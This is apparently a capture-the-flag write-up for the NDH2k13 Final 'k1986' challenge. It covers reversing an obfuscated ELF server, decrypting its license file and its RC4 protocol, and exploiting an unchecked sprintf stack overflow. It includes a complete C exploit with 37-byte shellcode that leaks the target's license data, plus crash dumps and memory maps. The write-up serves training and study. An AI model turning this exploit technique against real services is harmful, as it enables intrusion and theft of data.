Write-up NDH2k13 Final K1986

by @Jonathan Salwan - 2013-06-23

In this challenge, we have just two files - k1986 and license.db. The first file is a simple ELF-64 binary and the second a raw file - Probably encrypted as you can see below :

0000000   " 022   ( 035   . 032   ~ 032   " 033   x   O   . 036   |   J
0000010   , 025   # 021   r   F   ~ 037   y 037   {   O   {   H   *   L
0000020   ~   J   +   ! 021     032   y 035   . 036   {   O   ,   I   }
0000030   N   x 032   * 022   w   A   r   D   |   O   -   H   . 034   y
0000040   @   & 025     026   & 025 037   / 035   ' 020   ! 024       F
0000050   p   C   p   @   "   G   " 025   &   G   ~ 032   - 034   + 022
0000060   * 033   "   D     020   " 023   p   B   r   x   H   {   A   x
0000070   @   % 023   + 033   "   C   s 027   q   I   q 024   "   C   w
0000080   B   $ 023     022   * 033   "   D   |   M   +   H   q 022 030
0000090   ( 034   &   G   "   C   w   B   $ 026   & 037   { 036   x   O
00000a0   z 031   ( 020   #   @   w 024   r   J   + 036   +   H   {   B
00000b0   s   D   '   - 035   ( 022   t 026   & 021   ' 021   & 023   w
00000c0 022   v   D   p 021   t 027   s   K   | 037   *   L   t   A   x
00000d0   A   % 020   & 026   &   G   M   }   K   q   B   z   H   q   C
00000e0   ' 021   !   D   ' 024   & 026   % 035   )   L   ( 035   ,   I
00000f0   { 036   x   I   y   K   z 034   ( 037   *     020   ' 035   x
0000100   I   {   J   |   J   ~   J   ( 037   ' 027   / 032   . 033 177
0000110 032   x   I   {   J   ) 033   # 032   " 027   v   F   s   B   H
0000120   x   @   z 031   }   I   * 030   !   G   v   C   v   G   & 037
0000130   + 033   } 031   | 035   y   O   v 023   %   G   q   @   % 023
0000140   %   C   z   p   @   y   C   s 020   v   F   t 027     031   |
0000150 030   z   L   -   N   -   L   ~   K   s 020   v   D   u 026   !
0000160   D   } 033   # 022   %   @   J                                
0000168

When we run the k1986 binary, we can see that's a server which listen on the port 1024. When we try to send some random data, our session is closed.

# ./k1986                                    # netcat localhost 1024
Connexion received: 127.0.0.1                netcat: using stream socket
Connexion closed: 127.0.0.1                  test
Connexion received: 127.0.0.1                # netcat localhost 1024
Connexion closed: 127.0.0.1                  netcat: using stream socket
                                             retest
                                             #

The goal of this challenge is to get the license.db which belongs to others teams. So we need to:

  1. Reverse the file format of license.db
  2. Reverse the TCP protocol
  3. Communicate with server
  4. Find the vulnerability
  5. Make the exploit and attacks all teams

When we try to open the k1986 binary with GDB or Objdump we get File format not recognized, for the time being we cannot debug the binary.

# gdb ./k1986
GNU gdb (Gentoo 7.5.1 p2) 7.5.1
...
"/home/jonathan/ndh/k1986": not in executable format: File format not recognized
gdb-peda> r
Starting program:  
No executable file specified.
Use the "file" or "exec-file" command.
gdb-peda>

# objdump -Mintel -d ./k1986
objdump: ./k1986: File format not recognized
#

When we try to open it in IDA, we get some errors:

ida elf corrupt

IDA informs us that the binary is corrupt. We begin to fix the ELF header and reset the SHT. GDB cannot load a ELF binary if the SHT is corrupts. To fix it, we can just set the SHT (Start of section headers) to 0.

# readelf -h ./k1986
ELF Header:
  ...
  Start of section headers:          128 (bytes into file)
  ...

# readelf -h ./k1986
ELF Header:
  ...
  Start of section headers:          0 (bytes into file)
  ...

After this little fix, you can run and debug the binary with GDB. When we disassembles the binary with IDA, we can see that the binary contains some little obfuscations - Break Basic Bloc and Junk codes. As you can see below, all basic blocks are broken. We can see that the binary do some push ; ret to break the IDA basic bloc - That's classic.

bb corrupt

When we see in detail what happens, we can see everywhere in the binary a push rax + lea ; push ; ret + pop rax sequence. Every sequences of the lea ; push ; ret is equals to a jump rip+1.

 

bb corrupt

 

We can also find lot of sequences which is a simple junk codes. The binary contains only two differents sequences of junk codes. As you can see below the first sequence is :

 

ida junk1

 

And the second sequence of junk codes is :

 

ida junk2

 

We can also find some calls which breaking the basic blocks.

 

call exit breaking bb

 

Before starting the reverse with IDA and GDB, we will withdraw all sequences of junk codes and break basic block. After that, it will be easier to understand the operations of the binary. For that, we replace all sequences by the opcode nop.

#!/usr/bin/env python2
## -*- coding: utf-8 -*-
##
## Fix junk codes and basic block on k1986 binary (NDH2k13-Final) 
##

import sys

if __name__ == "__main__":


    if len(sys.argv) < 2:
        print "Syntax : %s <binary>" %(sys.argv[0])
        sys.exit(1)

    #  50                      push   rax
    #  48 8d 05 02 00 00 00    lea    rax,[rip+0x2]
    #  50                      push   rax
    #  c3                      ret    
    #  58                      pop    rax

    op_bb_break     = "\x50\x48\x8d\x05\x02\x00\x00\x00\x50\xc3\x58"
    op_bb_break_fix = "\x90" * len(op_bb_break)

    #  eb 11                   jmp    0x11 
    #  56                      push   rsi
    #  48 89 c6                mov    rsi,rax
    #  50                      push   rax
    #  48 83 f6 61             xor    rsi,0x61
    #  48 c1 e8 03             shr    rax,0x3
    #  5e                      pop    rsi
    #  58                      pop    rax
    #  eb 02                   jmp    0x2 
    #  eb ed                   jmp    0xed

    op_junk_code1     = "\xeb\x11\x56\x48\x89\xc6\x50\x48\x83\xf6\x61\x48"
    op_junk_code1    += "\xc1\xe8\x03\x5e\x58\xeb\x02\xeb\xed"
    op_junk_code1_fix = "\x90" * len(op_junk_code1)

    #  57                      push   rdi
    #  53                      push   rbx
    #  48 31 df                xor    rdi,rbx
    #  48 c1 eb 03             shr    rbx,0x3
    #  5f                      pop    rdi
    #  5b                      pop    rbx

    op_junk_code2     = "\x57\x53\x48\x31\xdf\x48\xc1\xeb\x03\x5f\x5b"
    op_junk_code2_fix = "\x90" * len(op_junk_code2)

    fd = open(sys.argv[1], "r")
    raw = fd.read()
    fd.close()

    raw = raw.replace(op_bb_break, op_bb_break_fix)
    raw = raw.replace(op_junk_code1, op_junk_code1_fix)
    raw = raw.replace(op_junk_code2, op_junk_code2_fix)

    fd = open(sys.argv[1] + ".patched", "w")
    fd.write(raw)
    fd.close()

    print "Binary patched"

    sys.exit(0)

Now, we can starting the reverse :). In sub_401D52 function we can find the string license.db and a call to libc.open, when we following the execution flow, we can see that the fd is read - on my screenshot the buffer is called ciphered_license. Then, a second buffer is allcated for the plaintext license. Just after that, we can find two interesting basic blocks which decrypts the license buffer.

 

uncrypt routine license file

 

The first basic block is taken if the offset is 0, that means when it's the first character. It xor the first character with the value 0x12 and put it into the plaintext buffer. Otherwise the second basic block is taken and it xor the current character with the previus character and put it into the plaintext buffer. Now we know and we can uncrypts the license.db file.

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/types.h>
#include <unistd.h>

int main(int ac, const char *av[]){
  char  *ciphered, *plaintext;
  int   fd, offset;
  off_t size;

  if ((fd = open("./license.db", O_RDONLY)) < 0)
    return -1;

  size = lseek(fd, SEEK_CUR, SEEK_END);
  lseek(fd, 0, SEEK_SET);

  if (!(ciphered = malloc(size * sizeof(char))))
    return -2;    
  if (!(plaintext = malloc(size * sizeof(char))))
    return -3;

  read(fd, ciphered, size);
  close(fd);

  for(offset = 0; offset < size ; offset++){
    if (offset == 0)
      plaintext[offset] = ciphered[offset] ^ 0x12;
    else
      plaintext[offset] = ciphered[offset] ^ ciphered[offset-1];
  }

  printf("%s\n", plaintext);

  free(ciphered);
  free(plaintext);

  return 0;
}

# gcc -o open_license open_license.c
# ./open_license
00:534dd89c7a0b6f962c48affd443bf24a
01:cd30e4ce436b08e63683bef2e9f35603
02:7154f6330bee73a9d7179819fd021c20
03:98e6809a0df88e6a45f732819f81fc9c
04:aea45f209def75c183c7cf8a55c3917c
05:fb076675ded24aecd87c5f8599d5600a
06:38292d60ec320384ed51e2ef1021f475
07:e1216644b7808545deb121c28985a051
08:cd4c29f1551a940fdead69e6b61e66f9
09:0cf02c79edb6acca258cf21c7e9f817e

Now, we need to know how to communicate with the server. Continuing the analysis, we can find a function - sub_401A3F - which do a RC4 encryption. If you follow the execution flow, you can see that this function takes in argument the TCP request, the key and a empty buffer. Looking the call graph, we can find the key of RC4 encryption at 402062 as you can see below.

 

rc4 key

 

Just after the call of RC4 uncrypts routine, the function checks a magic number on the first 3 bytes of the uncrypted TCP request. The magic number need to be set at NDH. Below, each basic block compares each character of the magic number.

 

Magic number

 

After this check, we have a second check which compares if the 4th and 7th character is :. Then we have a call to the function libc.atoi at the offset request+5 and saves it on [rbp+var_4]. A second pointer is set at the offset request+8. In bref, the request need to be as follows :

NDH:[0-9]{2}:[0-9a-zA-Z]

Ok, now we can communicate with the server. Below, a simple test which sending the NDH:01:test request.

#define RC4_KEY   "\x90\x3f\x8e\x7f\x8a"

int main(int ac, char **av)
{
  int                 fd1, fd2;
  struct sockaddr_in  sock;
  int                 sock_long;
  char                recv[4096] = {0};
  char                trameRC4[] = "NDH:01:test";

  if (ac < 3){
    printf("Syntax : %s <ip> <port>\n", av[0]);
    return -1;
  }

  sock_long = sizeof(sock);
  sock.sin_family = AF_INET;
  sock.sin_addr.s_addr = inet_addr(av[1]);
  sock.sin_port = htons(atoi(av[2]));

  rc4(trameRC4, sizeof(trameRC4), (uint8_t*)RC4_KEY, strlen(RC4_KEY));

  if ((fd1 = socket(AF_INET, SOCK_STREAM, 0)) < 0)
    return -2;
  if ((fd2 = connect(fd1, (struct sockaddr*)&sock, sock_long)) < 0)
    return -3;

  write(fd1, trameRC4, sizeof(trameRC4));
  read(fd1, recv, sizeof(recv));

  printf("Answer : %s", recv);

  close(fd2);
  close(fd1);

  return 0;
}


# gcc -o test ./test.c
# ./test 127.0.0.1 1024
Answer : False

The server replie False. If we send a good key like 01:cd30e4ce436b08e63683bef2e9f35603 the server replie True.

  1. Reverse file format of license.db [OK]
  2. Reverse TCP protocol [OK]
  3. Communicate with server [OK]

Now, we need to find the vulnerability to get the license.db file of any other teams. The vulnerability is in the sub_401D52 function - 40200A. We can see a call to the libc.sprintf function without checking the size of the [rbp+var_60] argument. This argument is the license pointer. In bref, this call puts 01:cd30e4ce436b08e63683bef2e9f35603 without checking the size of the license in a buffer allocated on the stack - The vulnerability is a classical stack overflow.

To trigger it, we can just sent this following request encrypted in RC4:

"NDH:00:"   /* Magic number */
"AAAAAAAA"
"AAAAAAAA"
"AAAAAAAA"
"AAAAAAAA"
"AAAAA"
"BBBBBBBB"
"AAAAAAAA"  /* padding */ 
"AAAAAAAA"  /* padding */
"AAAAAAAA"  /* padding */
"CCCCCCCC"  /* sRBP */
"DDDDDDDD"  /* sRIP */

And we get the famous SIGSEGV.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7011700 (LWP 19023)]
[----------------------------------registers-----------------------------------]
RAX: 0x4242424242424242 ('BBBBBBBB')
RBX: 0x7fffe8000020 --> 0x300000000 
RCX: 0x30 ('0')
RDX: 0x7ffff7010e18 
RSI: 0x7ffff7010e18 
RDI: 0x4242424242424242 ('BBBBBBBB')
RBP: 0x7ffff7010e60 ("AAAAAAAACCCCCCCC")
RSP: 0x7ffff7010dc8 --> 0x7fffe8000020 --> 0x300000000 
RIP: 0x7ffff7938ca5 (movzx  edx,BYTE PTR [rdi])
R8 : 0x0 
R9 : 0x4023f4 --> 0x54008a7f8e3f9000 
R10: 0x7ffff7010ba0 --> 0x0 
R11: 0x7ffff7938c90 (push   r15)
R12: 0x7ffff7bd0620 --> 0x0 
R13: 0x7ffff70119c0 --> 0x7ffff78129c0 --> 0x7ffff7dd6240 (0x00007ffff70119c0)
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe1a8 --> 0x0 
R15: 0x7
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7938c9d:  push   rbp
   0x7ffff7938c9e:  push   rbx
   0x7ffff7938c9f:  je     0x7ffff7938d30
=> 0x7ffff7938ca5:  movzx  edx,BYTE PTR [rdi]
   0x7ffff7938ca8:  test   dl,dl
   0x7ffff7938caa:  je     0x7ffff7938ff4
   0x7ffff7938cb0:  cmp    BYTE PTR [rdi+0x1],0x0
   0x7ffff7938cb4:  je     0x7ffff7939156
[------------------------------------stack-------------------------------------]
0000| 0x7ffff7010dc8 --> 0x7fffe8000020 --> 0x300000000 
0008| 0x7ffff7010dd0 --> 0x7ffff7010e60 ("AAAAAAAACCCCCCCC")
0016| 0x7ffff7010dd8 --> 0x7ffff7bd0620 --> 0x0 
0024| 0x7ffff7010de0 --> 0x7ffff70119c0 --> 0x7ffff78129c0 --> 0x7ffff7dd6240 
0032| 0x7ffff7010de8 --> 0x7ffff7ffd000 --> 0x7ffff7ffe1a8 --> 0x0 
0040| 0x7ffff7010df0 --> 0x7 
0048| 0x7ffff7010df8 --> 0x402026 (test   rax,rax)
0056| 0x7ffff7010e00 --> 0x7ffff00008c7 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff7938ca5 in ?? () from /lib64/libc.so.6

Maybe you may ask you why the crash is not on the ret instruction, beacause juste after the libc.scanf we have a call to the libc.strstr function, and this function takes a pointer overwritten by our payload. That why we gets a SIGSEGV on the movzx edx,BYTE PTR [rdi] instruction. To control the RIP register, we need to fix the RDI register, for that we need to set a 64 bits mapped address, but in 64 bits the CODE, DATA, STACK section is mapped between 24 and 48 bits and we cannot set a 48 bits address because we cannot set a NULL bytes on our payload. OK, but where I can find a 64 bits mapped address ? In the vsyscall area !

00400000-00403000 r-xp 00000000 08:07 1950122                 /home/jonathan/ndh/k1986
00602000-00603000 r-xp 00002000 08:07 1950122                 /home/jonathan/ndh/k1986
00603000-00604000 rwxp 00003000 08:07 1950122                 /home/jonathan/ndh/k1986
01553000-01574000 rwxp 00000000 00:00 0                       [heap]
7fa0b3ab0000-7fa0b3ab1000 ---p 00000000 00:00 0 
7fa0b3ab1000-7fa0b42b1000 rwxp 00000000 00:00 0               [stack]
7fa0b42b1000-7fa0b42b2000 ---p 00000000 00:00 0 
7fa0b42b2000-7fa0b4ab2000 rwxp 00000000 00:00 0               [stack]
7fa0b4ab2000-7fa0b4c53000 r-xp 00000000 08:07 4957828         /lib64/libc-2.15.so
7fa0b4c53000-7fa0b4e53000 ---p 001a1000 08:07 4957828         /lib64/libc-2.15.so
7fa0b4e53000-7fa0b4e57000 r-xp 001a1000 08:07 4957828         /lib64/libc-2.15.so
7fa0b4e57000-7fa0b4e59000 rwxp 001a5000 08:07 4957828         /lib64/libc-2.15.so
7fa0b4e59000-7fa0b4e5d000 rwxp 00000000 00:00 0 
7fa0b4e5d000-7fa0b4e75000 r-xp 00000000 08:07 4957809         /lib64/libpthread-2.15.so
7fa0b4e75000-7fa0b5074000 ---p 00018000 08:07 4957809         /lib64/libpthread-2.15.so
7fa0b5074000-7fa0b5075000 r-xp 00017000 08:07 4957809         /lib64/libpthread-2.15.so
7fa0b5075000-7fa0b5076000 rwxp 00018000 08:07 4957809         /lib64/libpthread-2.15.so
7fa0b5076000-7fa0b507a000 rwxp 00000000 00:00 0 
7fa0b507a000-7fa0b509c000 r-xp 00000000 08:07 4957538         /lib64/ld-2.15.so
7fa0b526a000-7fa0b526d000 rwxp 00000000 00:00 0 
7fa0b529a000-7fa0b529b000 rwxp 00000000 00:00 0 
7fa0b529b000-7fa0b529c000 r-xp 00021000 08:07 4957538         /lib64/ld-2.15.so
7fa0b529c000-7fa0b529d000 rwxp 00022000 08:07 4957538         /lib64/ld-2.15.so
7fa0b529d000-7fa0b529e000 rwxp 00000000 00:00 0 
7fff41658000-7fff41679000 rwxp 00000000 00:00 0               [stack]
7fff417bf000-7fff417c0000 r-xp 00000000 00:00 0               [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0       [vsyscall]

Now, our payload look like this :

"NDH:00:"   /* Magic number */

"AAAAAAAA"
"AAAAAAAA"
"AAAAAAAA"
"AAAAAAAA"
"AAAAAA"

/* vsyscall pointer to fix  */
/* movzx  edx,BYTE PTR [rdi]*/
/* in the libc.strstr       */
"\x04\x60\xff\xff\xff\xff\xff"

"AAAAAAAA"  /* padding */ 
"AAAAAAAA"  /* padding */
"AAAAAAAA"  /* padding */
"BBBBBBBB"  /* sRBP    */
"CCCCCCCC"  /* sRIP    */

And now, we SIGSEGV successfully on the ret instuction.

Program received signal SIGSEGV, Segmentation fault.
[Switching to Thread 0x7ffff7011700 (LWP 27864)]
[----------------------------------registers-----------------------------------]
RAX: 0x0 
RBX: 0x7fffe8000020 --> 0x300000000 
RCX: 0x10 
RDX: 0x7ffff7978088 --> 0xf0e0d0c0b0a0908 
RSI: 0x7ffff7010e18 
RDI: 0xffffffffff600801 (mov    eax,0x135)
RBP: 0x4242424242424242 ('BBBBBBBB')
RSP: 0x7ffff7010e68 ("CCCCCCCC")
RIP: 0x402043 (ret)
R8 : 0x0 
R9 : 0x0 
R10: 0x7ffff7010e28 
R11: 0xe18 
R12: 0x7ffff7bd0620 --> 0x0 
R13: 0x7ffff70119c0 --> 0x7ffff78129c0 --> 0x7ffff7dd6240 (0x00007ffff70119c0)
R14: 0x7ffff7ffd000 --> 0x7ffff7ffe1a8 --> 0x0 
R15: 0x7
EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x40203b:    jmp    0x402042
   0x40203d:    mov    eax,0x0
   0x402042:    leave  
=> 0x402043:    ret    
   0x402044:    push   rbp
   0x402045:    mov    rbp,rsp
   0x402048:    sub    rsp,0x20
   0x40204c:    mov    DWORD PTR [rbp-0x14],edi
[------------------------------------stack-------------------------------------]
0000| 0x7ffff7010e68 ("CCCCCCCC")
0008| 0x7ffff7010e70 
0016| 0x7ffff7010e78 --> 0x5d00000000 ('')
0024| 0x7ffff7010e80 
0032| 0x7ffff7010e88 --> 0xf7bcd5a9 
0040| 0x7ffff7010e90 --> 0x7ffff7010eb0 --> 0x7ffff7010ee0 --> 0x0 
0048| 0x7ffff7010e98 --> 0x4016ae (mov    rax,QWORD PTR [rbp-0x8])
0056| 0x7ffff7010ea0 --> 0x80000005d 
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x0000000000402043 in ?? ()
peda# x/x $rsp
0x7ffff7010e68: 0x4343434343434343

This exploit is tricky because we have a little space to put our shellcode. Below, you can see two possible scenarios.

scenario

I managed to create a shellcode which returns me the license file with only 37 bytes. That why I have chosen the scenario 1. When the SIGSEGV occurs, in the current and previus stack frame we can find the client fd, and the plaintext pointer. Below, you can see my shellcode which do a simple write(fd, plaintext, 4095).

push    rsp
pop     rbp
dec     rbp
mov     rbx, QWORD PTR [rbp+0x1]
inc     bh
xor     rdi, rdi
mov     dil, BYTE PTR [rbx]
sub     rbp, 0x10
mov     rsi, QWORD PTR [rbp-0x4f]
inc     al
xor     rdx, rdx
mov     dx, 0xfff
syscall 
ret

[rbp+256] points on the current file descriptor of the socket. Then, [rbp-0x4f] points on the plaintext pointer. So, my complete exploit look like that :

#define RC4_KEY   "\x90\x3f\x8e\x7f\x8a"

int main(int ac, char **av)
{
  int                 fd1, fd2, sock_long;
  struct sockaddr_in  sock;
  char                recv[4096] = {0};
  char                trameRC4[] = /* Payload */
                                   "NDH:00:" /* Magic number */
                                   /*
                                      54           push   rsp
                                      5d           pop    rbp
                                      48 ff cd     dec    rbp
                                      48 8b 5d 01  mov    rbx,QWORD PTR [rbp+0x1]
                                      fe c7        inc    bh
                                      48 31 ff     xor    rdi,rdi
                                      40 8a 3b     mov    dil,BYTE PTR [rbx]
                                      48 83 ed 10  sub    rbp,0x10
                                      48 8b 75 b1  mov    rsi,QWORD PTR [rbp-0x4f]
                                      fe c0        inc    al
                                      48 31 d2     xor    rdx,rdx
                                      66 ba ff 0f  mov    dx,0xfff
                                      0f 05        syscall
                                      c3           ret
                                   */
                                   /* shellcode 37 bytes */
                                   "\x54\x5d\x48\xff\xcd\x48\x8b\x5d"
                                   "\x01\xfe\xc7\x48\x31\xff\x40\x8a"
                                   "\x3b\x48\x83\xed\x10\x48\x8b\x75"
                                   "\xb1\xfe\xc0\x48\x31\xd2\x66\xba"
                                   "\xff\x0f\x0f\x05\xc3"

                                   "A"

                                   /* /lib64/libc.0x7ffff7938ca5   */
                                   /* movzx edx,BYTE PTR [rdi]     */
                                   /* vsyscall pointer             */
                                   "\x04\x60\xff\xff\xff\xff\xff"

                                   "AAAAAAAA" /* padding */ 
                                   "AAAAAAAA" /* padding */
                                   "AAAAAAAA" /* padding */
                                   "AAAAAAAA" /* padding */

                                   /* 0x7ffff7010e1b */
                                   "\x1b\x0e\x01\xf7\xff\x7f\x00"; /* RIP */

  if (ac < 3){
    printf("Syntax : %s <ip victime> <port victime>\n", av[0]);
    return -1;
  }

  sock_long = sizeof(sock);
  sock.sin_family = AF_INET;
  sock.sin_addr.s_addr = inet_addr(av[1]);
  sock.sin_port = htons(atoi(av[2]));

  rc4(trameRC4, sizeof(trameRC4), (uint8_t*)RC4_KEY, strlen(RC4_KEY));

  fd1 = socket(AF_INET, SOCK_STREAM, 0);
  perror("socket        ");
  fd2 = connect(fd1, (struct sockaddr*)&sock, sock_long);
  perror("connect       ");

  write(fd1, trameRC4, sizeof(trameRC4));
  perror("send exploit  ");

  read(fd1, recv, sizeof(recv));
  perror("recv answer   ");

  printf("\nAnswer : \n%s", recv);

  close(fd2);
  close(fd1);

  return 0;
}

# gcc -o exploit ./exploit.c
# ./exploit 127.0.0.1 1024                                 
socket        : Success
connect       : Success
send exploit  : Success
recv answer   : Success

Answer : 
00:534dd89c7a0b6f962c48affd443bf24a
01:cd30e4ce436b08e63683bef2e9f35603
02:7154f6330bee73a9d7179819fd021c20
03:98e6809a0df88e6a45f732819f81fc9c
04:aea45f209def75c183c7cf8a55c3917c
05:fb076675ded24aecd87c5f8599d5600a
06:38292d60ec320384ed51e2ef1021f475
07:e1216644b7808545deb121c28985a051
08:cd4c29f1551a940fdead69e6b61e66f9
09:0cf02c79edb6acca258cf21c7e9f817e
#

On the CTF machine team the ASLR is disable, which making the exploitation straightforward.